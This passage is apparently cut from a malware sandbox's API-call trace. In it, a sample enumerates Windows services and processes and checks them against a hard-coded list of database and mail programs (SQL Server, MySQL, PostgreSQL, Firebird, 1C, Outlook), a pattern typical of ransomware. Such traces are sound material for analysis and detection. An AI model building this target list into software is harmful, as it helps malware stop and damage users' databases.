lpString2="ProfSvc") returned 1 [0243.044] lstrlenW (lpString="RpcEptMapper") returned 12 [0243.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.044] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0243.044] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0243.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0243.044] lstrlenW (lpString="RpcSs") returned 5 [0243.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0243.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0243.045] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0243.045] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0243.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0243.045] lstrlenW (lpString="SamSs") returned 5 [0243.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0243.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0243.045] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0243.045] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0243.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0243.045] lstrlenW (lpString="Schedule") returned 8 [0243.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0243.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0243.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0243.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0243.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0243.046] lstrlenW (lpString="SENS") returned 4 [0243.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0243.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0243.046] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0243.046] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0243.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0243.046] lstrlenW (lpString="ShellHWDetection") returned 16 [0243.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.046] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0243.046] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0243.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0243.047] lstrlenW (lpString="Spooler") returned 7 [0243.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0243.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0243.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0243.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0243.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0243.047] lstrlenW (lpString="SysMain") returned 7 [0243.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0243.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0243.047] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0243.048] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0243.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0243.048] lstrlenW (lpString="Themes") returned 6 [0243.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0243.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0243.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0243.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0243.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0243.048] lstrlenW (lpString="TrkWks") returned 6 [0243.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0243.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0243.048] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0243.048] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0243.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0243.049] lstrlenW (lpString="UxSms") returned 5 [0243.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0243.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0243.049] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0243.049] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0243.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0243.049] lstrlenW (lpString="Winmgmt") returned 7 [0243.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0243.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0243.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0243.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0243.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0243.049] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0243.050] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0243.053] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.054] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.055] lstrlenW (lpString="System") returned 6 [0243.055] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0243.055] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0243.055] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0243.055] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0243.055] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0243.055] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0243.055] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0243.056] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.056] lstrlenW (lpString="smss.exe") returned 8 [0243.057] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0243.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0243.057] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0243.057] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0243.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0243.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0243.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0243.057] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.058] lstrlenW (lpString="csrss.exe") returned 9 [0243.058] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0243.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0243.058] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0243.059] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0243.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0243.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0243.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0243.059] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.060] lstrlenW (lpString="wininit.exe") returned 11 [0243.060] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0243.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0243.060] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0243.060] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0243.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0243.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0243.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0243.060] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.061] lstrlenW (lpString="csrss.exe") returned 9 [0243.061] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0243.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0243.061] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0243.061] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0243.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0243.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0243.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0243.062] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.063] lstrlenW (lpString="winlogon.exe") returned 12 [0243.063] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0243.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0243.063] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0243.063] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0243.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0243.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0243.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0243.063] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.064] lstrlenW (lpString="services.exe") returned 12 [0243.064] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0243.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0243.064] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0243.064] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0243.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0243.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0243.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0243.065] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.065] lstrlenW (lpString="lsass.exe") returned 9 [0243.065] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0243.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0243.066] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0243.066] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0243.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0243.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0243.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0243.066] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0243.067] lstrlenW (lpString="lsm.exe") returned 7 [0243.067] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0243.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0243.067] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0243.067] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0243.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0243.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0243.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0243.067] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.068] lstrlenW (lpString="svchost.exe") returned 11 [0243.068] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.068] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.068] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0243.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0243.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0243.068] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.069] lstrlenW (lpString="svchost.exe") returned 11 [0243.069] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.070] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.070] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.070] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.071] lstrlenW (lpString="svchost.exe") returned 11 [0243.071] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.072] lstrlenW (lpString="svchost.exe") returned 11 [0243.072] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.073] lstrlenW (lpString="svchost.exe") returned 11 [0244.074] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.076] lstrlenW (lpString="audiodg.exe") returned 11 [0244.076] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.077] lstrlenW (lpString="svchost.exe") returned 11 [0244.077] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0244.078] lstrlenW (lpString="userinit.exe") returned 12 [0244.078] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.079] lstrlenW (lpString="explorer.exe") returned 12 [0244.079] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.080] lstrlenW (lpString="dwm.exe") returned 7 [0244.080] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.080] lstrlenW (lpString="svchost.exe") returned 11 [0244.081] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0244.081] lstrlenW (lpString="winhost.exe") returned 11 [0244.082] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.083] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.083] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.083] lstrlenW (lpString="svchost.exe") returned 11 [0244.084] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0244.084] lstrlenW (lpString="taskhost.exe") returned 12 [0244.085] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0244.085] lstrlenW (lpString="reader_sl.exe") returned 13 [0244.086] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0244.086] CloseHandle (hObject=0x3b0) returned 1 [0244.087] Sleep (dwMilliseconds=0x1f4) [0245.411] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4f0 [0245.440] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0245.442] GetLastError () returned 0xea [0245.442] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe90) returned 0x42a0060 [0245.442] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xe90, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0245.444] CloseServiceHandle (hSCObject=0x62e4f0) returned 1 [0245.446] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0245.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0245.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0245.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0245.446] lstrlenW (lpString="AudioSrv") returned 8 [0245.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0245.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0245.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0245.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0245.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0245.447] lstrlenW (lpString="BFE") returned 3 [0245.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0245.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0245.447] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0245.447] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0245.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0245.447] lstrlenW (lpString="CryptSvc") returned 8 [0245.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0245.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0245.448] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0245.448] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0245.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0245.448] lstrlenW (lpString="CscService") returned 10 [0245.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0245.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0245.448] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0245.448] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0245.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0245.448] lstrlenW (lpString="DcomLaunch") returned 10 [0245.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.449] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0245.449] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0245.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0245.449] lstrlenW (lpString="Dhcp") returned 4 [0245.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0245.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0245.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0245.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0245.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0245.450] lstrlenW (lpString="Dnscache") returned 8 [0245.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0245.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0245.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0245.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0245.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0245.450] lstrlenW (lpString="DPS") returned 3 [0245.450] lstrcmpiW 